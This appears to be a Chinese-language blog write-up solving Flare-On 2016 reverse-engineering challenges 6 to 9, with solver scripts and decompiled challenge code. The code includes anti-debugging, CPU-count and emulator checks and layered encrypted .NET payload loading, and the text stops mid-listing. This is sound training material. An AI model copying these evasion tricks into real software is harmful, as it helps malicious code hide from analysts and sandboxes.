Try   HackMD

2016 Flare-On Challenge ( Part-2 )

Author: Lays
http://blog.l4ys.tw/

Challenge 6: khaki.exe

py2exe 產生的執行檔,是個猜數字遊戲
先用 unpy2exe.py 取出 pyc
但後來試了幾個工具將 pyc 反編譯回 python code 都失敗
最後直接用 disbytecode,肉眼轉回 source code:

#!/usr/bin/env python
import dis, marshal

with open("./poc.py.pyc", "rb") as f:
    magic_and_timestamp = f.read(8)  # first 8 bytes are metadata
    code = marshal.load(f)           # rest is a marshalled code object
    dis.dis(code)

bytecode 中有許多像是

LOAD_CONST -1
POP_TOP
ROT_TWO
ROT_TWO
ROT_THREE
ROT_THREE
ROT_THREE

大概就是造成工具失效的原因

還原的 src:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import random

__version__ = "Flare-On ultra python obfuscater 2000" 

target = random.randint(1, 101)
count = 1
error_input = ''

while True:
    print '(Guesses: %d) Pick a number between 1 and 100:' % count
 
    input = sys.stdin.readline()
    try:
        input = int(input)
    except:
        error_input = input
        print 'Invalid input: %s' % error_input
        continue

    if input == target:
        break
    if input < target:
        print 'Too low, try again'
    else:
        print 'Too high, try again'
    count += 1
    
if input == target:
    win_msg = 'Wahoo, you guessed it with %d guesses\n' % count
    sys.stdout.write(win_msg)

if count == 1:
    print 'Status: super guesser %d' % count
    sys.exit(1)

if count > 25:
    print 'Status: took too long %d' % count
    sys.exit(1)
else:
    print 'Status: %d guesses' % count

if error_input != '':
    tmp = ''.join(chr(ord(c) ^ 66) for c in error_input).encode('hex')

    if tmp != '312a232f272e27313162322e372548':  # shameless plug
        sys.exit(0)

    stuffs = [67,139,119,165,232,86,207,61,79,67,45,58,230,190,181,74,65,148,71,243,246,67,142,60,61,92,58,115,240,226,171]

    import hashlib
    stuffer = hashlib.md5(win_msg + tmp).digest()

    for x in range(len(stuffs)):
        print chr( stuffs[x] ^ ord(stuffer[x % len(stuffer)] ) ),

看完 code 後發現輸入 shameless plug 之後,再猜中數字,程式就會用猜的總次數跟字串做 md5 hash 當成 xor key 解密出 Flag

直接取出關鍵部分程式碼,用窮舉的方式得到符合條件的次數以及 Flag:

#!/usr/bin/env python

count = 0
while True
    out = ""
    win_msg = 'Wahoo, you guessed it with %d guesses\n' % count
    tmp = '312a232f272e27313162322e372548'  #shameless plug
    stuffs = [67,139,119,165,232,86,207,61,79,67,45,58,230,190,181,74,65,148,71,243,246,67,142,60,61,92,58,115,240,226,171]
    stuffer = hashlib.md5(win_msg + tmp).digest()

    for x in range(len(stuffs)):
        out += chr( stuffs[x] ^ ord(stuffer[x % len(stuffer)] ) )

    if "flare-on" in out:
        print count, out
        break

Flag: 1mp0rt3d_pygu3ss3r@flare-on.com

解完後 Lucas 表示其實 fireeye 有出工具可以解這類的混淆 pyc
https://www.fireeye.com/blog/threat-research/2016/05/deobfuscating_python.html


Challenge 7: hashes

golang 的 ELF 執行檔,剛開始分析的時候因為分不清楚 go 的 runtime code 跟實際的程式內容,浪費了一些時間

分析技巧

在許多函數的開頭會有這樣的 code,應該是 go 的 runtime_morestack,會造成 hexrays decompiler 跳過函數主體:

.text:08049B60                 stc
.text:08049B61                 lea     esi, [esi+0]
.text:08049B67                 jb      short loc_8049BAF
...
.text:08049BAF loc_8049BAF:                            ; CODE XREF: sub_8049B60+7j
.text:08049BAF                 push    8
.text:08049BB1                 push    1Ch
.text:08049BB3                 call    sub_804A810
.text:08049BB8                 retn

解決方式是直接 nop 掉這些 code 或是從修改函數範圍從 jb 之後開始

go 的字串結構大概是

struct GO_STRING
{
  char *buf;
  int len;
};

可以透過 IDA Pro 的 Local Type 幫助定位字串 buffer

程式行為:

  1. 0x8049F6D 檢查 argv[1] 只包含 abcdefghijklmnopqrstuvwxyz@-._1234
  2. argv[1] 切割為 5 個子字串,每 6 個字元為一組,因此 argv[1] 長度應為 30
  3. 將 5 個子字串分別進行 3 次的 sha1 hash
  4. 以某種方式產生 100 個 index,從 0x804BB80 中以 index 取出對應的 100 個 byte,與上一步產生的 sha1(x3) hash 比對

產生 index 的方式大概如下:

def gen_idx(start_idx, count=100):
    x = start_idx
    
    for i in count:
        idx = (x + 461) % 4096
        yield idx
        x = idx;

反推

首先我們必須先取得最後用來比對的五組 sha1(x3) hash
做法是跟題目用一樣的方式產生出 100 個 index,並從 0x804BB80 取出對應的 byte

程式產生 index 時,決定 start_idx 的是第一組 sha1 hash(x3) 的第一個 byte,
我們無法得知第一組 sha1(x3) 的明文,所以無法確定 start_idx

但 Flag 的格式結尾固定為 flare-on.com
透過算出最後一組子字串 on.com 的 sha1(x3) hash,
接著窮舉 start_idx 並比對最後產生的 20 個 byte 是否等於 hash 來得到完整的 100 個 index,最後組出五組 sha1(x3) hash:

#!/usr/bin/env python

import hashlib
sha1 = lambda x: hashlib.sha1(x).digest()

def sha1x3(s):
    return sha1(sha1(sha1(s)))

def gen_idx(start_idx, count=100):
    x = start_idx

    for i in range(count):
        idx = (x + 461) % 4096
        yield idx
        x = idx

with open("./hashes", "rb") as f:
    f.seek(0x3b80)
    data = f.read(4096)

# find start_idx
last_hash = sha1x3("on.com")

for start in range(0xff+1):
    seq = list(gen_idx(start))
    hashes = "".join(data[i] for i in seq)

    if hashes[-20:] == last_hash:
        print "found start_idx = %d" % start
        for i in range(5):
            print hashes[20*i:20*i+20].encode('hex')

        break

得到 5 組 sha1(x3) hash:

3cab2465e955b78e1dc84ab2aad1773641ef6c29
4a1bf8bd1e91f3593a6ccc9cc9b2d5682e62244f
9e6061a36250e1c47e69f0312db4e561528a1fb5
06046b721e18e20b841f497e257753b2314b866c
cc720842d0884da08e26d9fccb24bc9c27bd254e

最後產生字典來 brute force 出明文,最後兩組已知為及 flare- on.com

#!/usr/bin/env python
import hashlib
from itertools import product
sha1 = lambda x: hashlib.sha1(x).digest()

def sha1x3(s):
    return sha1(sha1(sha1(s)))

hashes = ["3cab2465e955b78e1dc84ab2aad1773641ef6c29", "4a1bf8bd1e91f3593a6ccc9cc9b2d5682e62244f", "9e6061a36250e1c47e69f0312db4e561528a1fb5"]
charset = "abcdefghijklmnopqrstuvwxyz@-._1234"

for plain in product(charset, repeat=6):
    plain = "".join(plain)
    hash = sha1x3(plain).encode('hex')
    if hash in hashes:
        print plain, hash
h4sh3d 3cab2465e955b78e1dc84ab2aad1773641ef6c29
_th3_h 4a1bf8bd1e91f3593a6ccc9cc9b2d5682e62244f
4sh3s@ 9e6061a36250e1c47e69f0312db4e561528a1fb5

Flag: h4sh3d_th3_h4sh3s@flare-on.com


Challenge 8: CHIMERA.EXE

程式看起來非常簡單,將輸入的字元與 0x7A xor 之後要等於特定值:

int start()
{
  HANDLE stdin; // ST1C_4@1
  int i; // ecx@1
  int c; // eax@2
  int sum; // [sp+4h] [bp-10h]@1
  HANDLE stdout; // [sp+Ch] [bp-8h]@1
  DWORD NumberOfBytesWritten; // [sp+10h] [bp-4h]@1

  sum = 0;
  stdin = GetStdHandle(STD_INPUT_HANDLE);
  stdout = GetStdHandle(STD_OUTPUT_HANDLE);
  WriteFile(stdout, aThisOneSForThe, 49u, &NumberOfBytesWritten, 0);
  ReadFile(stdin, input, 50u, &NumberOfBytesWritten, 0);
  i = 0;
  while ( 1 )
  {
    c = input[i];
    sum += c;
    if ( ((i + c) ^ 0x7A) != byte_4021D2[i] )
      break;
    if ( ++i >= 26 )
    {
      if ( sum != 2549 )
        return WriteFile(stdout, aYouHaveSucceed, 22u, &NumberOfBytesWritten, 0);
      return WriteFile(stdout, aYouHaveFail_Pl, 38u, &NumberOfBytesWritten, 0);
    }
  }
  return WriteFile(stdout, aYouHaveFail_Pl, 38u, &NumberOfBytesWritten, 0);

但反推回去會發現符合條件的字串為 this is the wrong password,且無法通過 sum != 2549 的條件

DOS Stub

仔細觀察過這支程式後會發現有些微妙之處:

  • 字串結尾都有 $ 字元
  • Dos Stub 的訊息是 This program cannot not be run in DOS mode

測試後會發現這隻程式可以同時在 WindowsDOS Mode 下執行,呼應題目名稱: CHIMERA

用 IDA Pro 載入,使用 MS-DOS executable 的 Loader 就可以進行分析:

seg000:0000    public start
seg000:0000    start:
seg000:0000        push    cs
seg000:0001        pop     ds
seg000:0002        assume ds:seg000
seg000:0002        mov     dx, 11h
seg000:0005        mov     ah, 9
seg000:0007        int     21h             ; DOS - PRINT STRING
seg000:0007                                ; DS:DX -> string terminated by "$"
seg000:0009        jmp     loc_107C6
...

Unpack

令人意外的是真正執行的代碼是在執行時動態 decode 的:

seg000:07C6    loc_107C6:
seg000:07C6        mov     cx, 112                     ; i = 112
seg000:07C9    loc_107C9:
seg000:07C9        mov     bx, cx
seg000:07CB        dec     bx
seg000:07CC        add     bx, bx
seg000:07CE        add     word ptr loc_107D4[bx], cx ; 7D4 + 2 * ( i - 1 ) += i
seg000:07D2        loop    loc_107C9                  ; while ( --i )
seg000:07D4        db 0EBh
seg000:07D5        db 0FFh
seg000:07D6        db 0BEh
...

透過 IDAPython ( Shift + F2 in IDA Pro ) 來 decode +0x7D4 之後的代碼:

for i in range(112, -1, -1):
  c = Word(0x107D4 + i * 2)
  PatchWord(0x107D4 + i * 2, c + i + 1)

Reverse

...
seg000:07D4    in      al, dx
seg000:07D5    inc     ax
seg000:07D7    mov     ax, 2A00h
seg000:07DA    int     21h             ; DOS - GET CURRENT DATE
seg000:07DA                            ; Return: DL = day, DH = month, CX = year
seg000:07DA                            ; AL = day of the week (0=Sunday, 1=Monday, etc.)
seg000:07DC    sub     cx, 7C6h
seg000:07E0    jg      loc_108B0
seg000:07E4    mov     dx, offset aThisOneSForThe ; "This one's for the geezers.\r\nEnter th"...
seg000:07E7    jz      short loc_107EC
seg000:07E9    short loc_107EC
...

程式會判斷系統時間小於 1990 年,還有使用一些跳轉的簡單混淆來干擾 disassembler

patch 程式後,使用 DosBox 進行動態分析,將程式邏輯重新以 c 實作,最後直接用 LazyKLEE 求解:

$ LazyKLEE.py ./solve.c
=== LazyKLEE ===
[+] Creating container...
a0cc1a19a8cdb52fa917df20fcc14f02e29e40031365a64d463dbdca58eb531b

[+] Compiling llvm bitcode...
[+] Running KLEE...
[+] ASSERTION triggered!
ktest file : './klee-last/test000001.ktest'
args       : ['./out.bc']
num objects: 1
object    0: name: b'input'
object    0: size: 26
object    0: data: b'retr0_hack1ng@flare-on.com'

[+] Removing container...

Solution:

#include <klee/klee.h>
#include <assert.h>

unsigned char data[] = {0xFF,0x15,0x74,0x20,0x40,0x00,0x89,0xEC,0x5D,0xC3,0x42,0x46,0xC0,0x63,0x86,0x2A,0xAB,0x08,0xBF,0x8C,0x4C,0x25,0x19,0x31,0x92,0xB0,0xAD,0x14,0xA2,0xB6,0x67,0xDD,0x39,0xD8,0x5F,0x3F,0x7B,0x5C,0xC2,0xB2,0xF6,0x2E,0x75,0x9B,0x61,0x94,0xCF,0xCE,0x6A,0x98,0x50,0xF2,0x5B,0xF0,0x45,0x30,0x0E,0x38,0xEB,0x3B,0x6C,0x66,0x7F,0x24,0x3D,0xDF,0x88,0x97,0xB9,0xB3,0xF1,0xCB,0x83,0x99,0x1A,0x0D,0xEF,0xB1,0x03,0x55,0x9E,0x9A,0x7A,0x10,0xE0,0x36,0xE8,0xD3,0xE4,0x32,0xC1,0x78,0x07,0xB7,0x6B,0xC7,0x70,0xC9,0x2C,0xA0,0x91,0x35,0x6D,0xFE,0x73,0x5E,0xF4,0xA4,0xD9,0xDB,0x43,0x69,0xF5,0x8D,0xEE,0x44,0x7D,0x48,0xB5,0xDC,0x4B,0x02,0xA1,0xE3,0xD2,0xA6,0x21,0x3E,0x2F,0xA3,0xD7,0xBB,0x84,0x5A,0xFB,0x8F,0x12,0x1C,0x41,0x28,0xC5,0x76,0x59,0x9C,0xF7,0x33,0x06,0x27,0x0A,0x0B,0xAF,0x71,0x16,0x4A,0xE9,0x9F,0x4F,0x6F,0xE2,0x0F,0xBE,0x2B,0xE7,0x56,0xD5,0x53,0x79,0x2D,0x64,0x17,0x95,0xA7,0xBD,0x7C,0x1D,0x58,0x93,0xA5,0x65,0xF8,0x18,0x13,0xEA,0xBC,0xE5,0xF3,0x37,0x04,0x96,0xA8,0x1E,0x01,0x29,0x82,0x51,0x3C,0x68,0x1F,0x8E,0xDA,0x8A,0x05,0x22,0x72,0x49,0xFA,0x87,0xA9,0x54,0x62,0xC6,0xAA,0x09,0xB4,0xFD,0xD6,0xD1,0xAC,0x85,0x11,0x47,0x3A,0x9D,0xE6,0x4D,0x1B,0xCC,0x52,0x80,0x23,0xFC,0xED,0x8B,0x7E,0x60,0xCD,0x6E,0x57,0xBA,0xDE,0xAE,0xCA,0xC4,0x77,0x0C,0x4E,0xD4,0xD0,0xC8,0xE1,0xB8,0xF9,0x26,0x90,0x81,0x34};
unsigned char secret[] = {0x38,0xE1,0x4A,0x1B,0x0C,0x1A,0x46,0x46,0x0A,0x96,0x29,0x73,0x73,0xA4,0x69,0x03,0x00,0x1B,0xA8,0xF8,0xB8,0x24,0x16,0xD6,0x09,0xCB};

unsigned char rol(unsigned int val, unsigned char r_bits)
{
    return ((val << r_bits%8) & (256-1)) | (((val & (256-1)) >> (8-(r_bits%8))));
}

int main(int argc, char *argv[])
{
    unsigned char input[26];
    klee_make_symbolic(input, 26, "input");
  
    for ( int i = 0; i < 26; ++ i ) {
        unsigned char idx = i == 0 ? 151:input[26-i];
        idx = rol(idx, 3);
        idx = data[idx];
        input[26-i-1] ^= data[idx];
    }

    for ( int i = 0; i < 26; ++ i ) {
        unsigned char idx = i == 0 ? 0xc5:input[i-1];
        input[i] ^= idx;
    }

    unsigned int sum = 0;
    for ( int i = 0; i < 26; ++ i )
        sum += input[i] ^ secret[i];
    
    if ( sum == 0 )
        klee_assert(0);

    return 0;
}

Flag: retr0_hack1ng@flare-on.com


Challenge 9: GUI.exe

.NET 執行檔,執行後只有一行字 Combine all 6 shares
跟一個按鈕,毫無反應,只是個按鈕

strings ./GUI.exe 可以得到一組序號 Share:1-d8effa9e8e19f7a2f17a3b55640b55295b1a327a5d8aebc832eae1a905c48b64

照題目敘述應該需要收集 6 組

Reverse

dnSpy decompile 後發現程式有被混淆過,而在按鈕事件中觀察到會透過 Assembly.LoadInvoke 來執行 code

private void button1_Click(object sender, EventArgs e)
{
    byte[] buf = Form1.ReadResource(<Module>.\u206F\u202C\u206B\u202E\u200F\u206E\u202E\u206B\u202D\u206D\u200F\u206F\u200F\u200F\u202B\u202C\u200E\u206B\u202C\u202A\u202E\u206D\u206C\u200E\u206C\u206E\u200B\u200F\u206F\u200E\u202A\u206F\u206C\u200B\u206B\u206A\u206B\u202C\u206B\u206E\u202E<string>(282000140u));
    byte[] buffer = this.decryptBuffer(buf);
    byte[] rawAssembly = util.DecompressBuffer(buffer);
    Assembly assembly = Assembly.Load(rawAssembly);
    Type type = assembly.GetType(<Module>.\u202C\u200C\u200F\u202E\u202A\u200E\u202A\u206D\u206F\u200D\u206C\u202C\u200C\u206D\u200C\u206D\u206E\u200E\u200C\u202C\u200F\u206C\u206C\u200D\u200E\u206C\u200D\u202D\u206A\u206E\u200D\u202A\u200B\u206D\u206B\u200D\u206A\u206B\u206E\u206F\u202E<string>(370292149u));
    MethodInfo method = type.GetMethod(<Module>.\u202A\u202C\u206D\u202C\u202A\u206C\u202C\u202B\u206D\u202B\u200F\u202C\u200B\u200F\u206E\u200D\u200C\u202C\u206B\u200E\u200D\u202E\u206C\u206A\u202C\u200F\u200D\u202A\u206C\u202A\u202D\u200B\u200E\u206F\u202B\u206D\u200F\u206E\u202A\u206E\u202E<string>(547307959u));
    bool flag = (bool)method.Invoke(null, new object[]
    {
        <Module>.\u202A\u202C\u206D\u202C\u202A\u206C\u202C\u202B\u206D\u202B\u200F\u202C\u200B\u200F\u206E\u200D\u200C\u202C\u206B\u200E\u200D\u202E\u206C\u206A\u202C\u200F\u200D\u202A\u206C\u202A\u202D\u200B\u200E\u206F\u202B\u206D\u200F\u206E\u202A\u206E\u202E<string>(292816780u)
    });
    if (flag)
    {
        MessageBox.Show(<Module>.\u202D\u202A\u202E\u206C\u202B\u200F\u206B\u202A\u206C\u200D\u200D\u200C\u202B\u206F\u206F\u202C\u206F\u206E\u206D\u206C\u206D\u206F\u206D\u202B\u202C\u200C\u200E\u206B\u200E\u200D\u202C\u206C\u206B\u206E\u200C\u202D\u202E\u200C\u200C\u200C\u202E<string>(3452886671u));
        return;
    }
    MessageBox.Show(<Module>.\u206B\u206A\u200E\u202B\u200E\u202B\u202C\u200F\u202E\u202D\u202B\u200F\u206E\u202B\u206B\u202B\u202A\u206E\u206C\u202B\u202E\u206F\u202C\u200C\u200E\u206A\u202B\u202E\u202D\u200D\u202C\u206E\u202D\u206B\u206D\u206C\u202B\u202D\u206C\u206A\u202E<string>(458656109u));
}

解這題時,原先是 Dump 出 Assembly.Load 載入的 dll ,透過 de4dot 反混淆後再用靜態的方式分析,但對於動態混淆的處理效果不好,最後直接用 dnSpy 動態分析

有個小技巧是用 Debugger 跟進 Invoke ,中斷在 InvokeMethodFast 中的 _InvokeMethodFast 的呼叫上,單步執行之後就可以停在新載入的 dll 的入口,dnSpy 也會自動從記憶體中載入 dll

Layer1.dll

跟進 _InvokeMethodFast 後停在 Layer1.dllConstructor:

internal class <Module>
{
    static <Module>()
    {
        <Module>.\u206F\u202C\u206C\u200B\u206F\u202D\u206C\u202C\u200F\u200F\u202D\u200E\u202C\u202E\u202A\u206D\u202D\u206F\u206C\u200C\u206A\u202C\u206C\u206E\u200D\u200F\u206E\u206E\u200E\u200F\u202D\u206A\u202C\u200E\u206D\u200C\u206C\u200D\u202E\u206C\u202E();
        <Module>.\u206B\u200B\u206C\u200F\u206A\u206E\u202D\u206C\u206F\u200F\u202D\u202B\u206B\u206F\u202A\u200E\u202A\u206B\u206A\u200F\u202C\u202A\u200C\u202A\u202C\u202E\u206F\u200B\u206D\u200E\u202A\u202A\u200E\u202B\u200F\u206F\u202C\u200B\u206A\u200E\u202E();
    }
    ...

先步過第一個初始化函數,接著在 Layer1.dll 上按右鍵選取 Reload All Method Bodies

Layer1 真正的代碼就會出現,此時在 Start 上下斷點後執行:

public static class Layer1
{
    public static string getKey()
    {
        string[] directories = Directory.GetDirectories(<Module>.\u202C\u202E\u206F\u206F\u202C\u202E\u202A\u206F\u202D\u206B\u206D\u206D\u202C\u202D\u206B\u202A\u200D\u202E\u206B\u206C\u202C\u206C\u206F\u202D\u206A\u202E\u206D\u200C\u202E\u200F\u200D\u206A\u206B\u200C\u206A\u206F\u200C\u202A\u206F\u202A\u202E<string>(385305873u), <Module>.\u202A\u200C\u206D\u200E\u206C\u206F\u202C\u206F\u200B\u206E\u202B\u202C\u206E\u202B\u206B\u202D\u206A\u202B\u202C\u200C\u200B\u206C\u202A\u206B\u202A\u206D\u200E\u200D\u202B\u206A\u202D\u206E\u206C\u200E\u200F\u202B\u202E\u206C\u206D\u202D\u202E<string>(3893211695u), SearchOption.TopDirectoryOnly);
        for (int i = 0; i < directories.Length; i++)
        {
            string text = directories[i];
            string text2 = text.Substring(2);
            MD5 mD = MD5.Create();
            byte[] bytes = Encoding.UTF8.GetBytes(text2);
            byte[] inArray = mD.ComputeHash(bytes);
            string text3 = Convert.ToBase64String(inArray);
            if (text3.CompareTo(StringUtils.a1224) == 0)
            {
                return <Module>.\u206E\u206B\u200C\u206B\u202B\u202D\u206D\u206A\u202A\u200E\u206E\u206D\u202B\u206F\u202A\u206C\u200C\u200C\u202E\u206A\u202D\u200E\u206D\u202A\u206D\u206B\u202E\u206A\u200E\u202D\u202A\u200E\u202B\u200E\u206E\u200E\u200F\u206C\u202D\u200F\u202E<string>(1448266994u) + text2;
            }
            Console.WriteLine(text3);
        }
        return <Module>.\u206E\u206B\u200C\u206B\u202B\u202D\u206D\u206A\u202A\u200E\u206E\u206D\u202B\u206F\u202A\u206C\u200C\u200C\u202E\u206A\u202D\u200E\u206D\u202A\u206D\u206B\u202E\u206A\u200E\u202D\u202A\u200E\u202B\u200E\u206E\u200E\u200F\u206C\u202D\u200F\u202E<string>(4084845939u);
    }

    [DllImport("kernel32.dll")]
    private static extern bool IsDebuggerPresent();

    public static bool Start(string config)
    {
        Config config2 = Config.InitConfig(config);
        if (config2 == null)
        {
            return false;
        }
        if (!CPUDetection.CheckCPUCount(config2.CPUCount))
        {
            return false;
        }
        if (config2.DebugDetection && Layer1.IsDebuggerPresent())
        {
            return false;
        }
        bool result;
        try
        {
            string key = Layer1.getKey();
            byte[] bytesToBeDecrypted = util.ReadResource(<Module>.\u202B\u206C\u202C\u200B\u200D\u200C\u206A\u200B\u200E\u202C\u206F\u200B\u200C\u206D\u200F\u206F\u202E\u206B\u202C\u206B\u200F\u200E\u202B\u202D\u206B\u202E\u206C\u206E\u200D\u202C\u206E\u200D\u202D\u206D\u202D\u202E\u200F\u206B\u202E\u206D\u202E<string>(2155271801u));
            byte[] buffer = util.AES_Decrypt(bytesToBeDecrypted, Encoding.UTF8.GetBytes(key));
            byte[] rawAssembly = util.DecompressBuffer(buffer);
            Assembly assembly = Assembly.Load(rawAssembly);
            Type type = assembly.GetType(<Module>.\u206A\u202E\u202A\u206C\u200E\u206B\u200E\u200F\u202E\u202E\u206D\u206B\u200B\u202D\u200B\u200C\u200F\u202A\u202D\u206C\u206C\u206D\u206D\u202E\u206A\u200F\u200E\u200D\u206F\u206C\u206F\u206D\u200E\u200C\u200D\u202E\u202D\u200D\u202C\u202E<string>(1983674467u));
            MethodInfo method = type.GetMethod(<Module>.\u202B\u206C\u202C\u200B\u200D\u200C\u206A\u200B\u200E\u202C\u206F\u200B\u200C\u206D\u200F\u206F\u202E\u206B\u202C\u206B\u200F\u200E\u202B\u202D\u206B\u202E\u206C\u206E\u200D\u202C\u206E\u200D\u202D\u206D\u202D\u202E\u200F\u206B\u202E\u206D\u202E<string>(1619868913u));
            bool flag = (bool)method.Invoke(null, new object[]
            {
                <Module>.\u202B\u206C\u202C\u200B\u200D\u200C\u206A\u200B\u200E\u202C\u206F\u200B\u200C\u206D\u200F\u206F\u202E\u206B\u202C\u206B\u200F\u200E\u202B\u202D\u206B\u202E\u206C\u206E\u200D\u202C\u206E\u200D\u202D\u206D\u202D\u202E\u200F\u206B\u202E\u206D\u202E<string>(2894386820u)
            });
            result = flag;
        }
        catch (Exception)
        {
            result = false;
        }
        return result;
    }
}

從區域變數視窗可以得到第二組 share:
shareShare:2-f81ae6f5710cb1340f90cd80d9c33107a1469615bf299e6057dea7f4337f67a3

  • Layer1.Start() 中會檢查 CPU 核心數為 2

  • Layer1.getKey() 會遍歷當前目錄下所有目錄,檢查是否有目錄名稱 md5 後的 base64UtYScX3YLz4wCCfrR5ssZQ==,將該目錄名稱加上 flare- 後回傳

google 後得到明文 sharing:52d6127375d82f3e300827eb479b2c65
建立一個名為 sharing 的目錄或是動態修改區域變數即可

  • 最後透過 Layer1.getKey() 回傳的 key 透過 AES 解密出下一層的 dll 並載入執行

Layer2.dll

用跟前一步一樣的方式來到 Layer2.dll 的入口,並步過第一個初始化函數後選取 Reload All Method Bodies,在 Layer2.Start() 下斷點後執行

Layer2 的混淆程度似乎更高:

public class Layer2
{
    public static string getKey()
    {
        string[] subKeyNames = Registry.CurrentUser.GetSubKeyNames();
        string result;
        while (true)
        {
            IL_0B:
            uint arg_15_0 = 4073380080u;
            while (true)
            {
                uint num;
                switch ((num = (arg_15_0 ^ 3102362556u)) % 14u)
                {
                case 0u:
                {
                    int num2;
                    num2++;
                    arg_15_0 = 2422995106u;
                    continue;
                }
                case 1u:
                {
                    int num2 = 0;
                    arg_15_0 = (num * 2671731663u ^ 225261231u);
                    continue;
                }
                case 2u:
                {
                    string text;
                    arg_15_0 = (((text.CompareTo(StringUtils.a650) == 0) ? 2785585759u : 2681437764u) ^ num * 2156941825u);
                    continue;
                }
                case 4u:
                {
                    string[] array = subKeyNames;
                    arg_15_0 = (num * 125796346u ^ 1945840459u);
                    continue;
                }
                case 5u:
                {
                    MD5 mD;
                    byte[] bytes;
                    byte[] inArray = mD.ComputeHash(bytes);
                    arg_15_0 = (num * 1096390724u ^ 4028304633u);
                    continue;
                }
                case 7u:
                {
                    string text2;
                    result = <Module>.\u206C\u206F\u200B\u202A\u206D\u200F\u200F\u206A\u202B\u202A\u200B\u200E\u202A\u200F\u206C\u206F\u202C\u200C\u202C\u206D\u202E\u200D\u202C\u200C\u206B\u200F\u202D\u202C\u202C\u206F\u202B\u202C\u200B\u200B\u202D\u202C\u200B\u206F\u200E\u202D\u202E<string>(2581785547u) + text2;
                    arg_15_0 = (num * 2965273874u ^ 739341603u);
                    continue;
                }
                case 8u:
                {
                    int num2;
                    string[] array;
                    arg_15_0 = ((num2 < array.Length) ? 2196425607u : 4160071843u);
                    continue;
                }
                case 9u:
                    goto IL_145;
                case 10u:
                    arg_15_0 = (num * 3530635147u ^ 2127247940u);
                    continue;
                case 11u:
                {
                    byte[] inArray;
                    string text = Convert.ToBase64String(inArray);
                    arg_15_0 = (num * 3877748401u ^ 3299180833u);
                    continue;
                }
                case 12u:
                    goto IL_0B;
                case 13u:
                {
                    int num2;
                    string[] array;
                    string text2 = array[num2];
                    Console.WriteLine(<Module>.\u206C\u206F\u200B\u202A\u206D\u200F\u200F\u206A\u202B\u202A\u200B\u200E\u202A\u200F\u206C\u206F\u202C\u200C\u202C\u206D\u202E\u200D\u202C\u200C\u206B\u200F\u202D\u202C\u202C\u206F\u202B\u202C\u200B\u200B\u202D\u202C\u200B\u206F\u200E\u202D\u202E<string>(638765194u) + text2);
                    MD5 mD = MD5.Create();
                    byte[] bytes = Encoding.UTF8.GetBytes(text2);
                    arg_15_0 = 2162082765u;
                    continue;
                }
                }
                goto Block_1;
            }
        }
        Block_1:
        return result;
        IL_145:
        return <Module>.\u202B\u206A\u206B\u206E\u206D\u202B\u202D\u200D\u206D\u206C\u200C\u206F\u200F\u200F\u202A\u200D\u206B\u202D\u200E\u206A\u206B\u200E\u200E\u202B\u206A\u206D\u200C\u206D\u200C\u200D\u200B\u206A\u206A\u200B\u200E\u200D\u202B\u206E\u202D\u200E\u202E<string>(228703156u);
    }

    public static bool IsVideoCardFromEmulator()
    {
        ManagementScope scope = new ManagementScope(<Module>.\u202B\u206A\u206B\u206E\u206D\u202B\u202D\u200D\u206D\u206C\u200C\u206F\u200F\u200F\u202A\u200D\u206B\u202D\u200E\u206A\u206B\u200E\u200E\u202B\u206A\u206D\u200C\u206D\u200C\u200D\u200B\u206A\u206A\u200B\u200E\u200D\u202B\u206E\u202D\u200E\u202E<string>(62463277u));
        ObjectQuery query = new ObjectQuery(<Module>.\u206C\u206F\u200B\u202A\u206D\u200F\u200F\u206A\u202B\u202A\u200B\u200E\u202A\u200F\u206C\u206F\u202C\u200C\u202C\u206D\u202E\u200D\u202C\u200C\u206B\u200F\u202D\u202C\u202C\u206F\u202B\u202C\u200B\u200B\u202D\u202C\u200B\u206F\u200E\u202D\u202E<string>(2807314222u));
        ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(scope, query);
        ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();
        bool result;
        string[] array2;
        while (true)
        {
            IL_2F:
            uint arg_39_0 = 4136287803u;
            while (true)
            {
                uint num;
                switch ((num = (arg_39_0 ^ 2413552312u)) % 10u)
                {
                case 1u:
                {
                    string[] array;
                    array[2] = <Module>.\u202B\u206A\u206B\u206E\u206D\u202B\u202D\u200D\u206D\u206C\u200C\u206F\u200F\u200F\u202A\u200D\u206B\u202D\u200E\u206A\u206B\u200E\u200E\u202B\u206A\u206D\u200C\u206D\u200C\u200D\u200B\u206A\u206A\u200B\u200E\u200D\u202B\u206E\u202D\u200E\u202E<string>(3503542146u);
                    arg_39_0 = (num * 1362606596u ^ 4252385414u);
                    continue;
                }
                case 2u:
                {
                    string[] array;
                    array[0] = <Module>.\u202B\u206A\u206B\u206E\u206D\u202B\u202D\u200D\u206D\u206C\u200C\u206F\u200F\u200F\u202A\u200D\u206B\u202D\u200E\u206A\u206B\u200E\u200E\u202B\u206A\u206D\u200C\u206D\u200C\u200D\u200B\u206A\u206A\u200B\u200E\u200D\u202B\u206E\u202D\u200E\u202E<string>(927696220u);
                    array[1] = <Module>.\u206C\u206F\u200B\u202A\u206D\u200F\u200F\u206A\u202B\u202A\u200B\u200E\u202A\u200F\u206C\u206F\u202C\u200C\u202C\u206D\u202E\u200D\u202C\u200C\u206B\u200F\u202D\u202C\u202C\u206F\u202B\u202C\u200B\u200B\u202D\u202C\u200B\u206F\u200E\u202D\u202E<string>(1518576413u);
                    arg_39_0 = (num * 507211509u ^ 605477889u);
                    continue;
                }
                case 3u:
                    result = false;
                    arg_39_0 = (num * 2165055198u ^ 141583840u);
                    continue;
                case 4u:
                {
                    string[] array;
                    array[3] = <Module>.\u200B\u206A\u206D\u202D\u206B\u206B\u202E\u200B\u200C\u206F\u202B\u202A\u200D\u200C\u206B\u200D\u206D\u202A\u200E\u200E\u200B\u206F\u200E\u200C\u200D\u206A\u206C\u206D\u206E\u202E\u200E\u200E\u206C\u200D\u200B\u200D\u202C\u202A\u206C\u206A\u202E<string>(1951003351u);
                    array[4] = <Module>.\u200B\u206A\u206D\u202D\u206B\u206B\u202E\u200B\u200C\u206F\u202B\u202A\u200D\u200C\u206B\u200D\u206D\u202A\u200E\u200E\u200B\u206F\u200E\u200C\u200D\u206A\u206C\u206D\u206E\u202E\u200E\u200E\u206C\u200D\u200B\u200D\u202C\u202A\u206C\u206A\u202E<string>(3348962035u);
